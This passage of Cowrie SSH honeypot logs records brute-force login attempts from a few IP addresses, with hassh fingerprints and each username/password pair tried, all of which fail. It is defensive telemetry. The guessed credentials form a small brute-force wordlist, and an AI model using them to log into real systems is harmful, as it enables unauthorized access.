istp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:43.182071Z","src_ip":"45.156.87.253","session":"5db7a53cf97f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"12345678","message":"login attempt [openvpn/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:43.426076Z","src_ip":"45.156.87.253","session":"5db7a53cf97f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":45246,"dst_ip":"159.203.135.109","dst_port":22,"session":"93dd3a81621f","protocol":"ssh","message":"New connection: 161.97.75.11:45246 (159.203.135.109:22) [session: 93dd3a81621f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:43.453772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:43.460610Z","src_ip":"161.97.75.11","session":"93dd3a81621f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:43.552315Z","src_ip":"161.97.75.11","session":"93dd3a81621f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bybit2024","message":"login attempt [root/bybit2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:43.831285Z","src_ip":"161.97.75.11","session":"93dd3a81621f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:44.600259Z","src_ip":"45.156.87.253","session":"5db7a53cf97f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:44.925581Z","src_ip":"161.97.75.11","session":"93dd3a81621f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33038,"dst_ip":"10.17.0.5","dst_port":22,"session":"4aafd39b905d","protocol":"ssh","message":"New connection: 45.156.87.253:33038 (10.17.0.5:22) [session: 4aafd39b905d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:46.418758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:46.421730Z","src_ip":"45.156.87.253","session":"4aafd39b905d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:46.502048Z","src_ip":"45.156.87.253","session":"4aafd39b905d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:46.745986Z","src_ip":"45.156.87.253","session":"4aafd39b905d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:47.831549Z","src_ip":"45.156.87.253","session":"4aafd39b905d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37120,"dst_ip":"10.17.0.5","dst_port":22,"session":"e74bf2aee396","protocol":"ssh","message":"New connection: 45.156.87.253:37120 (10.17.0.5:22) [session: e74bf2aee396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:49.945424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:49.949681Z","src_ip":"45.156.87.253","session":"e74bf2aee396","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:50.030029Z","src_ip":"45.156.87.253","session":"e74bf2aee396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123","message":"login attempt [admin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:50.274221Z","src_ip":"45.156.87.253","session":"e74bf2aee396","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:51.357884Z","src_ip":"45.156.87.253","session":"e74bf2aee396","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":50872,"dst_ip":"10.17.0.5","dst_port":22,"session":"221ce7bf6cc1","protocol":"ssh","message":"New connection: 194.36.147.215:50872 (10.17.0.5:22) [session: 221ce7bf6cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:51.936940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:51.940376Z","src_ip":"194.36.147.215","session":"221ce7bf6cc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:52.025067Z","src_ip":"194.36.147.215","session":"221ce7bf6cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0kx#M@st3r!P@ss","message":"login attempt [root/0kx#M@st3r!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:52.284708Z","src_ip":"194.36.147.215","session":"221ce7bf6cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37124,"dst_ip":"10.17.0.5","dst_port":22,"session":"82191f142fe0","protocol":"ssh","message":"New connection: 45.156.87.253:37124 (10.17.0.5:22) [session: 82191f142fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:53.291191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:53.294650Z","src_ip":"45.156.87.253","session":"82191f142fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:53.372180Z","src_ip":"194.36.147.215","session":"221ce7bf6cc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:53.375412Z","src_ip":"45.156.87.253","session":"82191f142fe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:53.617195Z","src_ip":"45.156.87.253","session":"82191f142fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:54.703549Z","src_ip":"45.156.87.253","session":"82191f142fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37140,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7b9164b2cdd","protocol":"ssh","message":"New connection: 45.156.87.253:37140 (10.17.0.5:22) [session: a7b9164b2cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:56.693161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:56.696646Z","src_ip":"45.156.87.253","session":"a7b9164b2cdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:56.779566Z","src_ip":"45.156.87.253","session":"a7b9164b2cdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:57.021932Z","src_ip":"45.156.87.253","session":"a7b9164b2cdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:13:58.105336Z","src_ip":"45.156.87.253","session":"a7b9164b2cdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54726,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9669e97f2cb","protocol":"ssh","message":"New connection: 45.156.87.253:54726 (10.17.0.5:22) [session: d9669e97f2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:00.069166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:00.073413Z","src_ip":"45.156.87.253","session":"d9669e97f2cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:00.154180Z","src_ip":"45.156.87.253","session":"d9669e97f2cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"momo123","message":"login attempt [root/momo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:00.396068Z","src_ip":"45.156.87.253","session":"d9669e97f2cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:01.480095Z","src_ip":"45.156.87.253","session":"d9669e97f2cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54736,"dst_ip":"10.17.0.5","dst_port":22,"session":"26053ecaaf99","protocol":"ssh","message":"New connection: 45.156.87.253:54736 (10.17.0.5:22) [session: 26053ecaaf99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:03.376284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:03.461937Z","src_ip":"45.156.87.253","session":"26053ecaaf99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:03.516059Z","src_ip":"45.156.87.253","session":"26053ecaaf99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:03.840953Z","src_ip":"45.156.87.253","session":"26053ecaaf99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:14:04.925205Z","src_ip":"45.156.87.253","session":"26053ecaaf99","protocol":"ssh"}
